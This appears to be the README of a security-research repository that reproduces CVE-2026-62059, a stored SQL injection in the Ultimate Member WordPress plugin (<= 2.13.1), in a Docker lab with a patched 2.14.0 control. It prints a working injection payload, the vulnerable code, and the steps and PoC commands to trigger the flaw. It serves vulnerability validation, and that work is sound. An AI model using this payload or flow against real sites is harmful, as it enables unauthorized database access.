
Proof-of-concept and Docker lab reproducing CVE-2026-62059, a stored SQL injection in Ultimate Member <= 2.13.1, with a boolean oracle and patched 2.14.0 control.
Security-research material for reproducing and validating CVE-2026-62059: Ultimate Member <= 2.13.1 stores member directory search-field identifiers without sanitization, and those identifiers are concatenated raw into the SQL of every directory search - an administrator-planted, second-order (stored) SQL injection.
_um_search_include_fields / _um_search_exclude_fields
whitelisted against registered searching fields at save time)PR:H - administrator plants the payload)_um_privacy=2)Use only on systems you own or are explicitly authorized to test. The PoC uses a read-only boolean oracle (tautology vs falsity,
total_usersflip). No SLEEP, no data extraction, nothing modified beyond the lab's own directory settings.
Status: proven in the supplied lab.
Ultimate Member 2.13.1 (WordPress 7.1.2, default directory page):
admin save : um_metadata[_um_search_include_fields][] = "x') OR 1=1) -- "
stored verbatim in postmeta (unregistered-key passthrough)
search (guest) : POST admin-ajax action=um_get_members search=<oracle token>
INNER JOIN ... meta_key IN('x') OR 1=1) -- ') -> total_users = 1
admin save : "x') OR 1=2) -- " -> total_users = 0
2.14.0 : save whitelists the identifiers, payload dropped,
both searches stay at 0 (patched negative control)
A boolean differential that flips only with the injected 1=1/1=2
proves arbitrary SQL execution from the stored identifier. The PoC does not
demonstrate data extraction (UNION/error/time are trivial extensions of the
same sink and are deliberately left out).
Write path. UM()->admin()->sanitize_member_directory_meta() only
sanitizes um_metadata keys that are registered in $member_directory_meta;
every other _um_* key falls through verbatim:
// includes/admin/class-admin.php:1285, Ultimate Member 2.13.1
if ( ! array_key_exists( $k, $this->member_directory_meta ) ) {
// @todo remove since 2.2.x and leave only continue
$sanitized[ $k ] = $v; // unregistered keys pass through raw
continue;
}
_um_search_include_fields ("Fields to search by") and
_um_search_exclude_fields ("Exclude fields from search") - the directory
Search metabox multi-selects (includes/admin/templates/directory/search.php)
sanitize_member_directory_field() callback that keeps only values present
in UM()->member_directory()->searching_fields:// 2.14.0, includes/admin/class-admin.php
'_um_search_include_fields' => array(
'sanitize' => array( $this, 'sanitize_member_directory_field' ),
),
Read path (the sink). On every directory search with a search term,
search_changes() builds the user query join by string concatenation:
// includes/core/class-member-directory.php:2967, 2.13.1 (unchanged in 2.14.0)
$user_query->query_from .= " INNER JOIN {$wpdb->usermeta} AS um_search ON
( {$wpdb->users}.ID = um_search.user_id AND um_search.meta_key IN('"
. implode( "','", $custom_fields ) . "'))";
$custom_fields holds the stored identifiers; unknown keys pass the
get_field() / um_can_view_field() gate (both return true/empty for
unregistered fields). No prepare(), no quoting - the 2.14.0 fix removes
the injectable data at save time and leaves the sink as is.
post.php,
um_admin_save_metabox_directory_nonce) with
um_metadata[_um_search_include_fields][] set to the SQL payload. The
save succeeds; the payload lands in postmeta verbatim.admin-ajax.php,
action=um_get_members, the directory's public data-hash, the
um-frontend-nonce from the page, and any search term) reaches
search_changes(), which concatenates the stored identifier into the
meta_key IN(...) clause.description = UM62059-ORACLE-TOKEN on a subscriber). With the
tautology payload the join matches everything and the token row yields
total_users = 1; with 1=2 the join matches nothing and the count is
0. The differential is the oracle.Requirements: Docker with Compose v2, Python 3.10+ on the host.
./lab verify
Builds the 2.13.1 lab, requires the oracle to fire, then builds the 2.14.0
lab and requires it silent. Remove everything with ./lab reset.
Vulnerable control:
[!!!] STORED SQL INJECTION CONFIRMED
stored : um_metadata[_um_search_include_fields][] passed the save
handler unsanitized (unregistered-key passthrough)
sink : search_changes() -> INNER JOIN ... meta_key IN('x') OR 1=1) -- ')
oracle : total_users flips with the injected boolean (1=1 -> 1, 1=2 -> 0)
RESULT: VULNERABLE CONTROL CONFIRMED
Patched control:
[=] boolean oracle silent. Possibilities: plugin patched (>= 2.14.0
whitelists the identifiers at save time), ...
[+] patched save dropped the payload (stored value is whitelisted/empty)
RESULT: PATCHED CONTROL CONFIRMED
The lab driver additionally asserts the write path in postmeta: verbatim
payload stored on 2.13.1, whitelisted/empty value on 2.14.0.
./lab start vulnerable # 2.13.1 lab on http://127.0.0.1:9487
./lab test # assert the oracle fires
./lab start patched # 2.14.0 lab
./lab test # assert silence
./lab status
./lab reset
Run the PoC by hand (loopback default; authorized external targets need the explicit override):
python3 poc/poc_cve_2026_62059.py --url http://127.0.0.1:9487 \
--page-id 5 --directory-id 6
python3 poc/poc_cve_2026_62059.py --url https://target.example \
--page-id 5 --directory-id 6 \
--allow-authorized-non-loopback [--insecure]
The nuclei template (nuclei/cve-2026-62059.yaml) is a version screen only
(readme.txt stable tag <= 2.13.1). The behavioral chain requires an
administrator save plus a search request, which is not practical to express
in nuclei; the Python PoC performs the full flow.
| Version | Assessment |
|---|---|
| Ultimate Member 2.13.1 | Stored SQL injection reproduced end to end |
| Ultimate Member 2.14.0 | Patched negative control reproduced |
| Ultimate Member <= 2.13.0 | Affected per advisory; not individually tested |
.
βββ .github/workflows/validate.yml
βββ .gitignore
βββ LICENSE
βββ README.md
βββ SECURITY.md
βββ docker-compose.yml
βββ lab
βββ nuclei/
β βββ cve-2026-62059.yaml
βββ poc/
βββ poc_cve_2026_62059.py
Not committed: assets/ (plugin zips), .lab-state, __pycache__/.